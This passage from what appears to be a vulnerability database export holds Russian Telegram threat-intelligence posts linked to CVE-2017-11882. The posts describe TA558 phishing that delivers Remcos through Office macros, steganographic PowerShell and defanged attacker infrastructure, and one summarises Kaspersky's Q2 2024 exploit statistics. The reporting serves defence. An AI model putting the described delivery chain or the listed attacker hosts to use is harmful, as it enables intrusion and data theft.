\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u2699\ufe0f \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f F.A.C.C.T.\n\n\ud83d\udce9 5 \u043c\u0430\u0440\u0442\u0430 2024 \u0433. \u0431\u044b\u043b\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0430\u0442\u0430\u043a\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b expo@bcmsrll[.]com, \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u043a \u0434\u043e\u043c\u0435\u043d\u0443 bcmsrll[.]com. \u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u0441\u0432\u044f\u0437\u044c \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 TA558. \u0410\u0442\u0430\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b.\n\n\ud83d\udce9 \u0412 \u043f\u0435\u0440\u0438\u043e\u0434 1 \u044f\u043d\u0432\u0430\u0440\u044f \u2014 25 \u043c\u0430\u044f 2024 \u0433. \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u043b\u0438 \u0434\u043e\u043c\u0435\u043d bcmsrll[.]com \u043c\u0435\u0436\u0434\u0443 \u0442\u0440\u0435\u043c\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0445\u043e\u0441\u0442\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 AutoSMTP \u0434\u043b\u044f \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c. \u041f\u0438\u0441\u044c\u043c\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043d\u0430 \u0440\u0443\u0441\u0441\u043a\u043e\u043c, \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u043c, \u0442\u0443\u0440\u0435\u0446\u043a\u043e\u043c, \u0440\u0443\u043c\u044b\u043d\u0441\u043a\u043e\u043c \u0438 \u0438\u0442\u0430\u043b\u044c\u044f\u043d\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0430\u0445, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u043e \u0438\u043b\u043b\u044e\u0437\u0438\u044e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u043b\u043e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u043f\u0435\u0445\u0430 \u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udce9 \u0417\u0430\u043f\u0443\u0441\u043a \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043c\u0430\u043a\u0440\u043e\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u043b \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0443 hxxp://tau[.]id/0vzd8, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b VBS \u0441\u043a\u0440\u0438\u043f\u0442 \u00abxmass.vbs\u00bb, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b PowerShell \u0441 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u0440\u044b\u0442\u044c \u0441\u0432\u043e\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n\ud83d\udce9\u0410\u0442\u0430\u043a\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 PowerShell. \u0414\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 Base64, \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438\u0441\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u043c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u043c PowerShell, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438. \u042d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 Remcos.\n\n\u2699\ufe0f \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0432\u044b\u0432\u043e\u0434\u044b\n\n\u0410\u0442\u0430\u043a\u0438 TA558 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0443\u0445\u0438\u0449\u0440\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882, \u0447\u0442\u043e \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443 \u043c\u043d\u043e\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. TA558 \u043d\u0435 \u043f\u0440\u0435\u043d\u0435\u0431\u0440\u0435\u0433\u0430\u0435\u0442 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0435\u0439 \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0432\u043e\u0438\u0445 \u043f\u0438\u0441\u0435\u043c \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0447\u0442\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u043f\u0435\u0445\u0430 \u0430\u0442\u0430\u043a\u0438.\n\n\ud83e\udd2d \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 TA558 \u043d\u0430 \u0420\u043e\u0441\u0441\u0438\u044e \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u044c, \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0433\u0440\u0443\u043f\u043f\u044b \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u0445 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2014 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435.", "creation_timestamp": "2024-07-26T11:34:37.000000Z"}, {"uuid": "6191881e-a5a6-49c5-9a55-eb949a7acde8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/6124", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0430\u0441\u044b\u0449\u0435\u043d\u043d\u044b\u043c \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0440\u0435\u0437\u044b \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n\u041e\u0431\u0449\u0435\u0435 \u0447\u0438\u0441\u043b\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u0437\u0430 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u043f\u0435\u0440\u0438\u043e\u0434 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0433\u043e\u0434\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430.\n\n\u0414\u043e\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 PoC \u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0438\u0445\u0441\u044f \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043d\u0438\u0437\u0438\u043b\u0430\u0441\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e 2023 \u0433\u043e\u0434\u0430. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e \u0442\u0438\u043f\u0443 \u043f\u043e\u0434\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0435 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442\u0441\u0442\u043e\u044f\u0442\u0441\u044f \u043a \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c.\n\n\u0422\u0430\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u0442\u0430\u043a \u043a\u0430\u043a \u043a \u0447\u0438\u0441\u043b\u0443 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u041f\u041e \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c: \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0431\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0447\u0435\u0440\u0435\u0437 VPN, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c\u0438 \u0438 IoT-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u041b\u041a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f Windows \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0441\u0442\u0438 \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0437\u0430 \u0441\u0447\u0435\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0443\u0442\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041a \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Microsoft Office (CVE-2018-0802, CVE-2017-11882\u00a0, CVE-2017-0199\u00a0 \u0438 CVE-2021-40444\u00a0).\n\n\u041d\u0430\u0431\u0438\u0440\u0430\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 Linux \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0441\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0432\u0435\u0441 Windows \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430 \u044f\u0434\u0440\u043e (CVE-2022-0847, CVE-2023-2640 \u0438 CVE-2021-4034), \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044f EoP.\n\n\u0422\u043e\u043f-10 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u00a0\u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430, \u043d\u043e \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0435 \u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e-\u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0442\u0435\u0445 \u0436\u0435 \u0442\u0438\u043f\u043e\u0432: \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0440\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u0411\u043e\u043b\u044c\u0448\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Bring You Own Vulnerable Driver (BYOVD). \u041f\u0440\u0438\u0447\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0441\u0432\u0435\u0436\u0435\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u0430\u043c\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n2023 \u0433\u043e\u0434 \u0441\u0442\u0430\u043b \u0441\u0430\u043c\u044b\u043c \u0431\u043e\u0433\u0430\u0442\u044b\u043c \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c BYOVD. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430 \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443 2024-\u0433\u043e \u0438\u0445 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0437\u0430 2021 \u0438 2022 \u0433\u043e\u0434\u044b, \u0432\u043c\u0435\u0441\u0442\u0435 \u0432\u0437\u044f\u0442\u044b\u0435. \u0412\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0440\u043e\u0441\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u041d\u0430\u0433\u043b\u044f\u0434\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2024 \u0433\u043e\u0434\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2024-08-22T19:40:05.000000Z"}, {"uuid": "e7c969a4-6dd4-4b3d-9d1b-a1ff37fff614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/6967", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 IronHusky \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438 \u043c\u043e\u043d\u0433\u043e\u043b\u044c\u0441\u043a\u0438\u0435 